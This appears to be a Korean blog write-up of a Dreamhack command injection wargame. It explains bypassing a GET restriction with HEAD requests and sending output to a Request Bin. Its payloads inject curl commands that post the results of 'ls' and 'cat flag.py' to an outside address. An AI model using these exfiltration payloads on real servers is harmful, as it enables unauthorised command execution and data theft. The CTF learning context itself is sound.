1. 소스코드 내 GET 방식으론 Command Injection이 되지 않는 것을 확인. Burp Suite로 메서드 변경을 OPTION로 하면 허용 메서드가 OPTION HEAD GET인 것을 확인할 수 있다. 이 중 HEAD는 요청을 보낼 수 있지만 응답값이 날라오지 않기 떄문에 응답 값을 받을 곳을 따로 만들어주어야 한다.
2. 드림핵 툴즈(https://tools.dreamhack.games/main)의 기능 중 하나인 Request Bin에서는 테스트를 할 수 있는 링크를 생성해주고, 받은 요청에 대한 응답 값을 조회할 수 있다.
링크를 생성한 후 해당 링크를 이용한다.
3. cmd파라미터에 아래와 같은 값을 입력해 명령어를 수행하고 결과값을 위에 생성한 주소로 보내게 한다.
HEAD /?cmd=curl%20<주소>%20-d%20"$(ls)”
HEAD /?cmd=curl%20<주소>%20-d%20"$(cat flag.py)”
결과 값은 아래와 같이 조회 가능하다.
'Web hacking > 개념 정리 & 심화' 카테고리의 다른 글
[Dreamhack] W - STAGE 10 Epilogue: carve party (0) | 2023.05.04 |
---|---|
[Dreamhack] W - STAGE 9 Server Side Request Forgery (SSRF) (0) | 2023.05.04 |
[Dreamhack] W - STAGE 8 File Vulnerability (0) | 2023.05.04 |
[Dreamhack] W - STAGE 7 Command Injection (0) | 2023.05.04 |
[Dreamhack] W - STAGE 6 SQL Injection (0) | 2023.05.04 |